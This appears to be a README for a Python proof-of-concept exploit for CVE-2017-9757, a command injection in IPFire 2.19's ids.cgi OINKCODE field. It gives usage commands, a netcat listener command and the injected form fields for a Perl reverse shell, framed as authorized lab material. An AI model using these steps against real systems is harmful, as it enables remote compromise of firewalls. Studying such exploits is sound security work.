IPFire 2.19 OINKCODE RCE PoC

Python proof of concept for the authenticated command-injection vulnerability in IPFire 2.19's ids.cgi page through the OINKCODE parameter.

For authorized security testing and training labs only. Run this PoC only against systems that you own or have explicit permission to test. The author is not responsible for misuse or damage caused by this code.

Vulnerability overview

IPFire 2.19 is vulnerable to OS command injection in the OINKCODE parameter processed by /cgi-bin/ids.cgi. The parameter is incorporated into a shell command without proper neutralization, allowing an authenticated user to execute commands on the IPFire host.

The vulnerability is commonly identified as CVE-2017-9757 and maps to CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

The original public PoC was tested against IPFire 2.19 Core Update 110. The Metasploit module considers versions up to IPFire 2.19 with Core Update 110 to be within its supported check range.

Why this PoC was created

The original Python PoC from Exploit-DB performs a verification request using:

OINKCODE = '`id`'

It then declares the target vulnerable only if the HTTP response contains:

uid=99(nobody)

That validation is unreliable. The command may execute while its output is consumed by the shell command constructed by the CGI instead of being reflected in the HTML response returned to the client. As a result, the server can return a normal HTTP 200 page without including the output of id, producing a false negative.

This implementation follows the validation logic used by the Metasploit module:

1. Request /cgi-bin/pakfire.cgi with HTTP Basic Authentication.
2. Extract the IPFire version and Core Update from the response.
3. Treat IPFire <= 2.19 and Core Update <= 110 as appearing vulnerable.
4. Send the command payload to /cgi-bin/ids.cgi in the OINKCODE field.
5. Treat a non-200 response as a rejected request or authentication problem.
6. Do not inspect the HTML body for uid=99(nobody).

The PoC also uses a Perl command-shell payload, matching the command payload family supported by the Metasploit module. A successful HTTP response does not, by itself, prove that the reverse shell connected; the listener and network path must also be verified.

Differences between the source exploits

Feature	Exploit-DB 42149 Python PoC	Exploit-DB 42369 / Metasploit	This PoC
Vulnerable endpoint	/cgi-bin/ids.cgi	/cgi-bin/ids.cgi	/cgi-bin/ids.cgi
Version check	None	GET /cgi-bin/pakfire.cgi	Same Metasploit-style check
Authentication	Basic Auth	Basic Auth header	Basic Auth through requests.Session
Initial validation	Executes `id` and searches the response body	Checks the version, then sends the payload	Checks the version and uses the HTTP result code
False-negative risk	High: depends on uid=99(nobody) being reflected	Avoids body-content validation	Avoids body-content validation
Reverse shell	Bash /dev/tcp	Metasploit Unix command payload	Perl IO::Socket::INET command shell
TLS handling	Certificate verification disabled in the PoC	SSL enabled by default	Verification is disabled only with -k/--insecure
Configuration	Values are edited in the source	Metasploit options	Command-line arguments

The Metasploit module's important success criterion is that an unexpected response code indicates invalid credentials or a rejected request. It does not require the response body to contain the output of the injected command.

Requirements

• Python 3
• requests
• Valid IPFire credentials with access to the web interface
• A Perl interpreter on the target, normally available as perl
• A listener reachable from the IPFire host

Install the Python dependency:

python3 -m pip install requests

Usage

1. Check the target version only

python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --check-only \
  --insecure

The password is requested interactively when --password is not supplied. This is recommended because putting a password directly in a command can expose it through shell history or the process list.

2. Start a listener

Use a listener on the address and port supplied as --lhost and --lport:

rlwrap nc -lvnp 4444

If rlwrap is not installed, use:

nc -lvnp 4444

3. Send the Perl reverse-shell payload

python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

For the usual IPFire self-signed HTTPS certificate, --insecure/-k is required. Use it only when certificate verification is intentionally not possible in the lab.

Complete URL instead of host and port

The target can also be supplied as a complete base URL:

python3 ipfire_oinkcode_rce.py \
  --target https://192.0.2.10:444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

Skip version fingerprinting

Use this only when the IPFire version has already been confirmed independently:

python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --skip-version-check \
  --insecure

Specify a different Perl path

If Perl is not in the target's default PATH, provide its absolute path:

--perl-path /usr/bin/perl

Command-line options

Option	Default	Description
-t, --target	Required	Target host/IP or complete base URL
--scheme	https	Scheme used when the target is only a host/IP
--web-port	444	IPFire web interface port
-u, --username	admin	IPFire username
-p, --password	Prompt	Password; omit to enter it without echo
--lhost	Required	Listener address reachable from IPFire
--lport	4444	Listener port
--perl-path	perl	Perl executable on the target
--timeout	10	HTTP timeout in seconds
-k, --insecure	Disabled	Disable TLS certificate verification
--skip-version-check	Disabled	Skip the pakfire.cgi check
--check-only	Disabled	Perform only the version check

Interpreting the output

HTTP 200 from ids.cgi

This means the HTTP request was accepted by the CGI according to the same practical criterion used by the Metasploit module. A normal HTML response is expected and is not proof that the vulnerability check failed.

Check the listener for the shell. If no shell arrives, investigate the callback address, routing, firewall egress rules, Perl availability, and the selected port.

HTTP 401 or HTTP 403

The request was not authorized. Check the username, password, target URL, port, and whether the account can access the IPFire web interface.

HTTP 404

The target URL or CGI path is probably incorrect, or the service is not the expected IPFire web interface.

Version not recognized

The script could not find the expected version string in pakfire.cgi. Confirm the target manually before using --skip-version-check.

Request timeout after payload delivery

The injected command may keep the CGI request open while attempting the callback. Treat this as an indication to check the listener, not as definitive proof of a shell.

Technical request flow

The script uses HTTP Basic Authentication and sends the following form fields to ids.cgi:

ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort

The command is enclosed in backticks because the vulnerable application passes the OINKCODE value into a shell command. The exact request behavior depends on the target version and its local configuration.

Limitations

• This is a proof of concept, not a complete exploitation framework.
• The version check is based on the behavior of the referenced Metasploit module; it is not a guarantee that every target with a matching banner is exploitable.
• A 200 response confirms the request was accepted, not that the reverse shell reached the listener.
• The Perl payload requires a working Perl interpreter and network connectivity from IPFire to the listener.
• The script does not attempt authentication bypass or CSRF exploitation; valid credentials are expected.

References

• NVD: CVE-2017-9757
• Exploit-DB 42149: IPFire 2.19 Remote Code Execution
• Exploit-DB 42369: IPFire < 2.19 Update Core 110 Remote Code Execution
• Metasploit module: ipfire_oinkcode_exec.rb
• Metasploit Perl command payload
• CWE-78: OS Command Injection

Attribution

This project is an educational Python implementation based on the public research and proof of concept by 0x09AL, and on the Metasploit module maintained by the Metasploit community. It is not affiliated with or endorsed by IPFire, Exploit-DB, or Rapid7.